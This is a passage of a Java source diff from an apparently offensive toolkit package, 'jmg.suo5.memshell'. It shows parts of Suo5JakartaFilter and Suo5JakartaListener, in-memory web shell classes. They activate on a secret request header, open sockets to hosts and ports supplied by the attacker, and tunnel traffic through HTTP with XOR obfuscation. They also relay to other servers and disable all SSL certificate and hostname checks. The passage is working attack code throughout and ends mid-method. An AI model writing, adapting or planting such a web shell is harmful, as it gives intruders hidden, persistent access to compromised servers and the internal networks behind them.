||||||
|
|
||||||
|
if (i + 4 >= bs.length) {
|
||||||
|
throw new Exception("value len error");
|
||||||
|
}
|
||||||
|
buf = copyOfRange(bs, i, i + 4);
|
||||||
|
int vLen = bytesToU32(buf);
|
||||||
|
i += 4;
|
||||||
|
if (vLen < 0) {
|
||||||
|
throw new Exception("value error");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (i + vLen > bs.length) {
|
||||||
|
throw new Exception("value error");
|
||||||
|
}
|
||||||
|
byte[] value = copyOfRange(bs, i, i + vLen);
|
||||||
|
i += vLen;
|
||||||
|
|
||||||
|
m.put(key, value);
|
||||||
|
}
|
||||||
|
return m;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception {
|
||||||
|
final InputStream reqInputStream = request.getInputStream();
|
||||||
|
HashMap dataMap = unmarshal(reqInputStream);
|
||||||
|
|
||||||
|
byte[] action = (byte[]) dataMap.get("ac");
|
||||||
|
if (action.length != 1 || action[0] != 0x00) {
|
||||||
|
resp.setStatus(403);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
resp.setBufferSize(512);
|
||||||
|
final OutputStream respOutStream = resp.getOutputStream();
|
||||||
|
|
||||||
|
// 0x00 create socket
|
||||||
|
resp.setHeader("X-Accel-Buffering", "no");
|
||||||
|
Socket sc;
|
||||||
|
try {
|
||||||
|
String host = new String((byte[]) dataMap.get("h"));
|
||||||
|
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
|
||||||
|
if (port == 0) {
|
||||||
|
port = request.getLocalPort();
|
||||||
|
}
|
||||||
|
sc = new Socket();
|
||||||
|
sc.connect(new InetSocketAddress(host, port), 5000);
|
||||||
|
} catch (Exception e) {
|
||||||
|
respOutStream.write(marshal(newStatus((byte) 0x01)));
|
||||||
|
respOutStream.flush();
|
||||||
|
respOutStream.close();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
respOutStream.write(marshal(newStatus((byte) 0x00)));
|
||||||
|
respOutStream.flush();
|
||||||
|
resp.flushBuffer();
|
||||||
|
|
||||||
|
final OutputStream scOutStream = sc.getOutputStream();
|
||||||
|
final InputStream scInStream = sc.getInputStream();
|
||||||
|
|
||||||
|
Thread t = null;
|
||||||
|
try {
|
||||||
|
Suo5JakartaFilter p = new Suo5JakartaFilter(scInStream, respOutStream);
|
||||||
|
t = new Thread(p);
|
||||||
|
t.start();
|
||||||
|
readReq(reqInputStream, scOutStream);
|
||||||
|
} catch (Exception e) {
|
||||||
|
// System.out.printf("pipe error, %s\n", e);
|
||||||
|
} finally {
|
||||||
|
sc.close();
|
||||||
|
respOutStream.close();
|
||||||
|
if (t != null) {
|
||||||
|
t.join();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
|
||||||
|
byte[] readBuf = new byte[1024 * 8];
|
||||||
|
while (true) {
|
||||||
|
int n = inputStream.read(readBuf);
|
||||||
|
if (n <= 0) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
|
||||||
|
if (needMarshal) {
|
||||||
|
dataTmp = marshal(newData(dataTmp));
|
||||||
|
}
|
||||||
|
outputStream.write(dataTmp);
|
||||||
|
outputStream.flush();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
|
||||||
|
while (true) {
|
||||||
|
HashMap dataMap;
|
||||||
|
dataMap = unmarshal(bufInputStream);
|
||||||
|
|
||||||
|
byte[] actions = (byte[]) dataMap.get("ac");
|
||||||
|
if (actions.length != 1) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
byte action = actions[0];
|
||||||
|
if (action == 0x02) {
|
||||||
|
socketOutStream.close();
|
||||||
|
return;
|
||||||
|
} else if (action == 0x01) {
|
||||||
|
byte[] data = (byte[]) dataMap.get("dt");
|
||||||
|
if (data.length != 0) {
|
||||||
|
socketOutStream.write(data);
|
||||||
|
socketOutStream.flush();
|
||||||
|
}
|
||||||
|
} else if (action == 0x03) {
|
||||||
|
continue;
|
||||||
|
} else {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws
|
||||||
|
Exception {
|
||||||
|
InputStream is = request.getInputStream();
|
||||||
|
BufferedInputStream reader = new BufferedInputStream(is);
|
||||||
|
HashMap dataMap;
|
||||||
|
dataMap = unmarshal(reader);
|
||||||
|
|
||||||
|
|
||||||
|
String clientId = new String((byte[]) dataMap.get("id"));
|
||||||
|
byte[] actions = (byte[]) dataMap.get("ac");
|
||||||
|
if (actions.length != 1) {
|
||||||
|
resp.setStatus(403);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
/*
|
||||||
|
ActionCreate byte = 0x00
|
||||||
|
ActionData byte = 0x01
|
||||||
|
ActionDelete byte = 0x02
|
||||||
|
ActionHeartbeat byte = 0x03
|
||||||
|
*/
|
||||||
|
byte action = actions[0];
|
||||||
|
byte[] redirectData = (byte[]) dataMap.get("r");
|
||||||
|
boolean needRedirect = redirectData != null && redirectData.length > 0;
|
||||||
|
String redirectUrl = "";
|
||||||
|
if (needRedirect) {
|
||||||
|
dataMap.remove("r");
|
||||||
|
redirectUrl = new String(redirectData);
|
||||||
|
needRedirect = !isLocalAddr(redirectUrl);
|
||||||
|
}
|
||||||
|
// load balance, send request with data to request url
|
||||||
|
// action 0x00 need to pipe, see below
|
||||||
|
if (needRedirect && action >= 0x01 && action <= 0x03) {
|
||||||
|
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
|
||||||
|
conn.disconnect();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
resp.setBufferSize(512);
|
||||||
|
OutputStream respOutStream = resp.getOutputStream();
|
||||||
|
if (action == 0x02) {
|
||||||
|
Object o = this.get(clientId);
|
||||||
|
if (o == null) return;
|
||||||
|
OutputStream scOutStream = (OutputStream) o;
|
||||||
|
scOutStream.close();
|
||||||
|
return;
|
||||||
|
} else if (action == 0x01) {
|
||||||
|
Object o = this.get(clientId);
|
||||||
|
if (o == null) {
|
||||||
|
respOutStream.write(marshal(newDel()));
|
||||||
|
respOutStream.flush();
|
||||||
|
respOutStream.close();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
OutputStream scOutStream = (OutputStream) o;
|
||||||
|
byte[] data = (byte[]) dataMap.get("dt");
|
||||||
|
if (data.length != 0) {
|
||||||
|
scOutStream.write(data);
|
||||||
|
scOutStream.flush();
|
||||||
|
}
|
||||||
|
respOutStream.close();
|
||||||
|
return;
|
||||||
|
} else {
|
||||||
|
}
|
||||||
|
|
||||||
|
if (action != 0x00) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
// 0x00 create new tunnel
|
||||||
|
resp.setHeader("X-Accel-Buffering", "no");
|
||||||
|
String host = new String((byte[]) dataMap.get("h"));
|
||||||
|
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
|
||||||
|
if (port == 0) {
|
||||||
|
port = request.getLocalPort();
|
||||||
|
}
|
||||||
|
|
||||||
|
InputStream readFrom;
|
||||||
|
Socket sc = null;
|
||||||
|
HttpURLConnection conn = null;
|
||||||
|
|
||||||
|
if (needRedirect) {
|
||||||
|
// pipe redirect stream and current response body
|
||||||
|
conn = redirect(request, dataMap, redirectUrl);
|
||||||
|
readFrom = conn.getInputStream();
|
||||||
|
} else {
|
||||||
|
// pipe socket stream and current response body
|
||||||
|
try {
|
||||||
|
sc = new Socket();
|
||||||
|
sc.connect(new InetSocketAddress(host, port), 5000);
|
||||||
|
readFrom = sc.getInputStream();
|
||||||
|
this.put(clientId, sc.getOutputStream());
|
||||||
|
respOutStream.write(marshal(newStatus((byte) 0x00)));
|
||||||
|
respOutStream.flush();
|
||||||
|
resp.flushBuffer();
|
||||||
|
} catch (Exception e) {
|
||||||
|
// System.out.printf("connect error %s\n", e);
|
||||||
|
// e.printStackTrace();
|
||||||
|
this.remove(clientId);
|
||||||
|
respOutStream.write(marshal(newStatus((byte) 0x01)));
|
||||||
|
respOutStream.flush();
|
||||||
|
respOutStream.close();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
readSocket(readFrom, respOutStream, !needRedirect);
|
||||||
|
} catch (Exception e) {
|
||||||
|
// System.out.println("socket error " + e.toString());
|
||||||
|
// e.printStackTrace();
|
||||||
|
} finally {
|
||||||
|
if (sc != null) {
|
||||||
|
sc.close();
|
||||||
|
}
|
||||||
|
if (conn != null) {
|
||||||
|
conn.disconnect();
|
||||||
|
}
|
||||||
|
respOutStream.close();
|
||||||
|
this.remove(clientId);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void run() {
|
||||||
|
try {
|
||||||
|
readSocket(gInStream, gOutStream, true);
|
||||||
|
} catch (Exception e) {
|
||||||
|
// System.out.printf("read socket error, %s\n", e);
|
||||||
|
// e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static HashMap collectAddr() {
|
||||||
|
HashMap addrs = new HashMap();
|
||||||
|
try {
|
||||||
|
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
|
||||||
|
while (nifs.hasMoreElements()) {
|
||||||
|
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
|
||||||
|
Enumeration addresses = nif.getInetAddresses();
|
||||||
|
while (addresses.hasMoreElements()) {
|
||||||
|
InetAddress addr = (InetAddress) addresses.nextElement();
|
||||||
|
String s = addr.getHostAddress();
|
||||||
|
if (s != null) {
|
||||||
|
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
|
||||||
|
int ifaceIndex = s.indexOf('%');
|
||||||
|
if (ifaceIndex != -1) {
|
||||||
|
s = s.substring(0, ifaceIndex);
|
||||||
|
}
|
||||||
|
addrs.put((Object) s, (Object) Boolean.TRUE);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
// System.out.printf("read socket error, %s\n", e);
|
||||||
|
// e.printStackTrace();
|
||||||
|
}
|
||||||
|
return addrs;
|
||||||
|
}
|
||||||
|
|
||||||
|
boolean isLocalAddr(String url) throws Exception {
|
||||||
|
String ip = (new URL(url)).getHost();
|
||||||
|
return addrs.containsKey(ip);
|
||||||
|
}
|
||||||
|
|
||||||
|
HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception {
|
||||||
|
String method = request.getMethod();
|
||||||
|
URL u = new URL(rUrl);
|
||||||
|
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
|
||||||
|
conn.setRequestMethod(method);
|
||||||
|
try {
|
||||||
|
// conn.setConnectTimeout(3000);
|
||||||
|
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
|
||||||
|
// conn.setReadTimeout(0);
|
||||||
|
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
|
||||||
|
} catch (Exception e) {
|
||||||
|
// java1.4
|
||||||
|
}
|
||||||
|
conn.setDoOutput(true);
|
||||||
|
conn.setDoInput(true);
|
||||||
|
|
||||||
|
// ignore ssl verify
|
||||||
|
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
|
||||||
|
if (HttpsURLConnection.class.isInstance(conn)) {
|
||||||
|
((HttpsURLConnection) conn).setHostnameVerifier(this);
|
||||||
|
SSLContext sslCtx = SSLContext.getInstance("SSL");
|
||||||
|
sslCtx.init(null, new TrustManager[]{this}, null);
|
||||||
|
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
|
||||||
|
}
|
||||||
|
|
||||||
|
Enumeration headers = request.getHeaderNames();
|
||||||
|
while (headers.hasMoreElements()) {
|
||||||
|
String k = (String) headers.nextElement();
|
||||||
|
conn.setRequestProperty(k, request.getHeader(k));
|
||||||
|
}
|
||||||
|
|
||||||
|
OutputStream rout = conn.getOutputStream();
|
||||||
|
rout.write(marshal(dataMap));
|
||||||
|
rout.flush();
|
||||||
|
rout.close();
|
||||||
|
conn.getResponseCode();
|
||||||
|
return conn;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean verify(String hostname, SSLSession session) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
|
||||||
|
}
|
||||||
|
|
||||||
|
public X509Certificate[] getAcceptedIssuers() {
|
||||||
|
return new X509Certificate[0];
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,577 @@
|
|||||||
|
package jmg.suo5.memshell;
|
||||||
|
|
||||||
|
import javax.net.ssl.*;
|
||||||
|
import jakarta.servlet.ServletRequestEvent;
|
||||||
|
import jakarta.servlet.ServletRequestListener;
|
||||||
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
|
import jakarta.servlet.http.HttpServletResponse;
|
||||||
|
import java.io.*;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.net.*;
|
||||||
|
import java.nio.ByteBuffer;
|
||||||
|
import java.security.cert.CertificateException;
|
||||||
|
import java.security.cert.X509Certificate;
|
||||||
|
import java.util.Enumeration;
|
||||||
|
import java.util.HashMap;
|
||||||
|
|
||||||
|
public class Suo5JakartaListener implements ServletRequestListener, Runnable, HostnameVerifier, X509TrustManager {
|
||||||
|
|
||||||
|
public String headerName;
|
||||||
|
|
||||||
|
public String headerValue;
|
||||||
|
|
||||||
|
public static HashMap addrs = collectAddr();
|
||||||
|
public static HashMap ctx = new HashMap();
|
||||||
|
|
||||||
|
InputStream gInStream;
|
||||||
|
OutputStream gOutStream;
|
||||||
|
|
||||||
|
public Suo5JakartaListener() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public Suo5JakartaListener(InputStream in, OutputStream out) {
|
||||||
|
this.gInStream = in;
|
||||||
|
this.gOutStream = out;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||||
|
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||||
|
try {
|
||||||
|
HttpServletResponse response = getResponseFromRequest(request);
|
||||||
|
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||||
|
String contentType = request.getHeader("Content-Type");
|
||||||
|
if (contentType == null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
if (contentType.equals("application/plain")) {
|
||||||
|
tryFullDuplex(request, response);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (contentType.equals("application/octet-stream")) {
|
||||||
|
processDataBio(request, response);
|
||||||
|
} else {
|
||||||
|
processDataUnary(request, response);
|
||||||
|
}
|
||||||
|
} catch (Throwable e) {
|
||||||
|
// System.out.printf("process data error %s\n", e);
|
||||||
|
// e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
|
||||||
|
int bufferOffset = 0;
|
||||||
|
while (bufferOffset < b.length) {
|
||||||
|
int readLength = b.length - bufferOffset;
|
||||||
|
int readResult = is.read(b, bufferOffset, readLength);
|
||||||
|
if (readResult == -1) break;
|
||||||
|
bufferOffset += readResult;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException {
|
||||||
|
InputStream in = request.getInputStream();
|
||||||
|
byte[] data = new byte[32];
|
||||||
|
readFull(in, data);
|
||||||
|
OutputStream out = response.getOutputStream();
|
||||||
|
out.write(data);
|
||||||
|
out.flush();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private HashMap newCreate(byte s) {
|
||||||
|
HashMap m = new HashMap();
|
||||||
|
m.put("ac", new byte[]{0x04});
|
||||||
|
m.put("s", new byte[]{s});
|
||||||
|
return m;
|
||||||
|
}
|
||||||
|
|
||||||
|
private HashMap newData(byte[] data) {
|
||||||
|
HashMap m = new HashMap();
|
||||||
|
m.put("ac", new byte[]{0x01});
|
||||||
|
m.put("dt", data);
|
||||||
|
return m;
|
||||||
|
}
|
||||||
|
|
||||||
|
private HashMap newDel() {
|
||||||
|
HashMap m = new HashMap();
|
||||||
|
m.put("ac", new byte[]{0x02});
|
||||||
|
return m;
|
||||||
|
}
|
||||||
|
|
||||||
|
private HashMap newStatus(byte b) {
|
||||||
|
HashMap m = new HashMap();
|
||||||
|
m.put("s", new byte[]{b});
|
||||||
|
return m;
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] u32toBytes(int i) {
|
||||||
|
byte[] result = new byte[4];
|
||||||
|
result[0] = (byte) (i >> 24);
|
||||||
|
result[1] = (byte) (i >> 16);
|
||||||
|
result[2] = (byte) (i >> 8);
|
||||||
|
result[3] = (byte) (i /*>> 0*/);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
int bytesToU32(byte[] bytes) {
|
||||||
|
return ((bytes[0] & 0xFF) << 24) |
|
||||||
|
((bytes[1] & 0xFF) << 16) |
|
||||||
|
((bytes[2] & 0xFF) << 8) |
|
||||||
|
((bytes[3] & 0xFF) << 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
synchronized void put(String k, Object v) {
|
||||||
|
ctx.put(k, v);
|
||||||
|
}
|
||||||
|
|
||||||
|
synchronized Object get(String k) {
|
||||||
|
return ctx.get(k);
|
||||||
|
}
|
||||||
|
|
||||||
|
synchronized Object remove(String k) {
|
||||||
|
return ctx.remove(k);
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] copyOfRange(byte[] original, int from, int to) {
|
||||||
|
int newLength = to - from;
|
||||||
|
if (newLength < 0) {
|
||||||
|
throw new IllegalArgumentException(from + " > " + to);
|
||||||
|
}
|
||||||
|
byte[] copy = new byte[newLength];
|
||||||
|
int copyLength = Math.min(original.length - from, newLength);
|
||||||
|
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
|
||||||
|
// System.arraycopy(original, from, copy, 0, copyLength);
|
||||||
|
for (int i = 0; i < copyLength; i++) {
|
||||||
|
copy[i] = original[from + i];
|
||||||
|
}
|
||||||
|
return copy;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private byte[] marshal(HashMap m) throws IOException {
|
||||||
|
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||||
|
Object[] keys = m.keySet().toArray();
|
||||||
|
for (int i = 0; i < keys.length; i++) {
|
||||||
|
String key = (String) keys[i];
|
||||||
|
byte[] value = (byte[]) m.get(key);
|
||||||
|
buf.write((byte) key.length());
|
||||||
|
buf.write(key.getBytes());
|
||||||
|
buf.write(u32toBytes(value.length));
|
||||||
|
buf.write(value);
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] data = buf.toByteArray();
|
||||||
|
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
|
||||||
|
dbuf.putInt(data.length);
|
||||||
|
// xor key
|
||||||
|
byte key = data[data.length / 2];
|
||||||
|
dbuf.put(key);
|
||||||
|
for (int i = 0; i < data.length; i++) {
|
||||||
|
data[i] = (byte) (data[i] ^ key);
|
||||||
|
}
|
||||||
|
dbuf.put(data);
|
||||||
|
return dbuf.array();
|
||||||
|
}
|
||||||
|
|
||||||
|
private HashMap unmarshal(InputStream in) throws Exception {
|
||||||
|
byte[] header = new byte[4 + 1]; // size and datatype
|
||||||
|
readFull(in, header);
|
||||||
|
// read full
|
||||||
|
ByteBuffer bb = ByteBuffer.wrap(header);
|
||||||
|
int len = bb.getInt();
|
||||||
|
int x = bb.get();
|
||||||
|
if (len > 1024 * 1024 * 32) {
|
||||||
|
throw new IOException("invalid len");
|
||||||
|
}
|
||||||
|
byte[] bs = new byte[len];
|
||||||
|
readFull(in, bs);
|
||||||
|
for (int i = 0; i < bs.length; i++) {
|
||||||
|
bs[i] = (byte) (bs[i] ^ x);
|
||||||
|
}
|
||||||
|
HashMap m = new HashMap();
|
||||||
|
byte[] buf;
|
||||||
|
for (int i = 0; i < bs.length - 1; ) {
|
||||||
|
short kLen = bs[i];
|
||||||
|
i += 1;
|
||||||
|
if (i + kLen >= bs.length) {
|
||||||
|
throw new Exception("key len error");
|
||||||
|
}
|
||||||
|
if (kLen < 0) {
|
||||||
|
throw new Exception("key len error");
|
||||||
|
}
|
||||||
|
buf = copyOfRange(bs, i, i + kLen);
|
||||||
|
String key = new String(buf);
|
||||||
|
i += kLen;
|
||||||
|
|
||||||
|
if (i + 4 >= bs.length) {
|
||||||
|
throw new Exception("value len error");
|
||||||
|
}
|
||||||
|
buf = copyOfRange(bs, i, i + 4);
|
||||||
|
int vLen = bytesToU32(buf);
|
||||||
|
i += 4;
|
||||||
|
if (vLen < 0) {
|
||||||
|
throw new Exception("value error");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (i + vLen > bs.length) {
|
||||||
|
throw new Exception("value error");
|
||||||
|
}
|
||||||
|
byte[] value = copyOfRange(bs, i, i + vLen);
|
||||||
|
i += vLen;
|
||||||
|
|
||||||
|
m.put(key, value);
|
||||||
|
}
|
||||||
|
return m;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception {
|
||||||
|
final InputStream reqInputStream = request.getInputStream();
|
||||||
|
HashMap dataMap = unmarshal(reqInputStream);
|
||||||
|
|
||||||
|
byte[] action = (byte[]) dataMap.get("ac");
|
||||||
|
if (action.length != 1 || action[0] != 0x00) {
|
||||||
|
resp.setStatus(403);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
resp.setBufferSize(512);
|
||||||
|
final OutputStream respOutStream = resp.getOutputStream();
|
||||||
|
|
||||||
|
// 0x00 create socket
|
||||||
|
resp.setHeader("X-Accel-Buffering", "no");
|
||||||
|
Socket sc;
|
||||||
|
try {
|
||||||
|
String host = new String((byte[]) dataMap.get("h"));
|
||||||
|
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
|
||||||
|
if (port == 0) {
|
||||||
|
port = request.getLocalPort();
|
||||||
|
}
|
||||||
|
sc = new Socket();
|
||||||
|
sc.connect(new InetSocketAddress(host, port), 5000);
|
||||||
|
} catch (Exception e) {
|
||||||
|
respOutStream.write(marshal(newStatus((byte) 0x01)));
|
||||||
|
respOutStream.flush();
|
||||||
|
respOutStream.close();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
respOutStream.write(marshal(newStatus((byte) 0x00)));
|
||||||
|
respOutStream.flush();
|
||||||
|
resp.flushBuffer();
|
||||||
|
|
||||||
|
final OutputStream scOutStream = sc.getOutputStream();
|
||||||
|
final InputStream scInStream = sc.getInputStream();
|
||||||
|
|
||||||
|
Thread t = null;
|
||||||
|
try {
|
||||||
|
Suo5JakartaListener p = new Suo5JakartaListener(scInStream, respOutStream);
|
||||||
|
t = new Thread(p);
|
||||||
|
t.start();
|
||||||
|
readReq(reqInputStream, scOutStream);
|
||||||
|
} catch (Exception e) {
|
||||||
|
// System.out.printf("pipe error, %s\n", e);
|
||||||
|
} finally {
|
||||||
|
sc.close();
|
||||||
|
respOutStream.close();
|
||||||
|
if (t != null) {
|
||||||
|
t.join();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
|
||||||
|
byte[] readBuf = new byte[1024 * 8];
|
||||||
|
while (true) {
|
||||||
|
int n = inputStream.read(readBuf);
|
||||||
|
if (n <= 0) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
|
||||||
|
if (needMarshal) {
|
||||||
|
dataTmp = marshal(newData(dataTmp));
|
||||||
|
}
|
||||||
|
outputStream.write(dataTmp);
|
||||||
|
outputStream.flush();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
|
||||||
|
while (true) {
|
||||||
|
HashMap dataMap;
|
||||||
|
dataMap = unmarshal(bufInputStream);
|
||||||
|
|
||||||
|
byte[] actions = (byte[]) dataMap.get("ac");
|
||||||
|
if (actions.length != 1) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
byte action = actions[0];
|
||||||
|
if (action == 0x02) {
|
||||||
|
socketOutStream.close();
|
||||||
|
return;
|
||||||
|
} else if (action == 0x01) {
|
||||||
|
byte[] data = (byte[]) dataMap.get("dt");
|
||||||
|
if (data.length != 0) {
|
||||||
|
socketOutStream.write(data);
|
||||||
|
socketOutStream.flush();
|
||||||
|
}
|
||||||
|
} else if (action == 0x03) {
|
||||||
|
continue;
|
||||||
|
} else {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws
|
||||||
|
Exception {
|
||||||
|
InputStream is = request.getInputStream();
|
||||||
|
BufferedInputStream reader = new BufferedInputStream(is);
|
||||||
|
HashMap dataMap;
|
||||||
|
dataMap = unmarshal(reader);
|
||||||
|
|
||||||
|
|
||||||
|
String clientId = new String((byte[]) dataMap.get("id"));
|
||||||
|
byte[] actions = (byte[]) dataMap.get("ac");
|
||||||
|
if (actions.length != 1) {
|
||||||
|
resp.setStatus(403);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
/*
|
||||||
|
ActionCreate byte = 0x00
|
||||||
|
ActionData byte = 0x01
|
||||||
|
ActionDelete byte = 0x02
|
||||||
|
ActionHeartbeat byte = 0x03
|
||||||
|
*/
|
||||||
|
byte action = actions[0];
|
||||||
|
byte[] redirectData = (byte[]) dataMap.get("r");
|
||||||
|
boolean needRedirect = redirectData != null && redirectData.length > 0;
|
||||||
|
String redirectUrl = "";
|
||||||
|
if (needRedirect) {
|
||||||
|
dataMap.remove("r");
|
||||||
|
redirectUrl = new String(redirectData);
|
||||||
|
needRedirect = !isLocalAddr(redirectUrl);
|
||||||
|
}
|
||||||
|
// load balance, send request with data to request url
|
||||||
|
// action 0x00 need to pipe, see below
|
||||||
|
if (needRedirect && action >= 0x01 && action <= 0x03) {
|
||||||
|
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
|
||||||
|
conn.disconnect();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
resp.setBufferSize(512);
|
||||||
|
OutputStream respOutStream = resp.getOutputStream();
|
||||||
|
if (action == 0x02) {
|
||||||
|
Object o = this.get(clientId);
|
||||||
|
if (o == null) return;
|
||||||
|
OutputStream scOutStream = (OutputStream) o;
|
||||||
|
scOutStream.close();
|
||||||
|
return;
|
||||||
|
} else if (action == 0x01) {
|
||||||
|
Object o = this.get(clientId);
|
||||||
|
if (o == null) {
|
||||||
|
respOutStream.write(marshal(newDel()));
|
||||||
|
respOutStream.flush();
|
||||||
|
respOutStream.close();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
OutputStream scOutStream = (OutputStream) o;
|
||||||
|
byte[] data = (byte[]) dataMap.get("dt");
|
||||||
|
if (data.length != 0) {
|
||||||
|
scOutStream.write(data);
|
||||||
|
scOutStream.flush();
|
||||||
|
}
|
||||||
|
respOutStream.close();
|
||||||
|
return;
|
||||||
|
} else {
|
||||||
|
}
|
||||||
|
|
||||||
|
if (action != 0x00) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
// 0x00 create new tunnel
|
||||||
|
resp.setHeader("X-Accel-Buffering", "no");
|
||||||
|
String host = new String((byte[]) dataMap.get("h"));
|
||||||
|
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
|
||||||
|
if (port == 0) {
|
||||||
|
port = request.getLocalPort();
|
||||||
|
}
|
||||||
|
|
||||||
|
InputStream readFrom;
|
||||||
|
Socket sc = null;
|
||||||
|
HttpURLConnection conn = null;
|
||||||
|
|
||||||
|
if (needRedirect) {
|
||||||
|
// pipe redirect stream and current response body
|
||||||
|
conn = redirect(request, dataMap, redirectUrl);
|
||||||
|
readFrom = conn.getInputStream();
|
||||||
|
} else {
|
||||||
|
// pipe socket stream and current response body
|
||||||
|
try {
|
||||||
|
sc = new Socket();
|
||||||
|
sc.connect(new InetSocketAddress(host, port), 5000);
|
||||||
|
readFrom = sc.getInputStream();
|
||||||
|
this.put(clientId, sc.getOutputStream());
|
||||||
|
respOutStream.write(marshal(newStatus((byte) 0x00)));
|
||||||
|
respOutStream.flush();
|
||||||
|
resp.flushBuffer();
|
||||||
|
} catch (Exception e) {
|
||||||
|
// System.out.printf("connect error %s\n", e);
|
||||||
|
// e.printStackTrace();
|
||||||
|
this.remove(clientId);
|
||||||
|
respOutStream.write(marshal(newStatus((byte) 0x01)));
|
||||||
|
respOutStream.flush();
|
||||||
|
respOutStream.close();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
readSocket(readFrom, respOutStream, !needRedirect);
|
||||||
|
} catch (Exception e) {
|
||||||
|
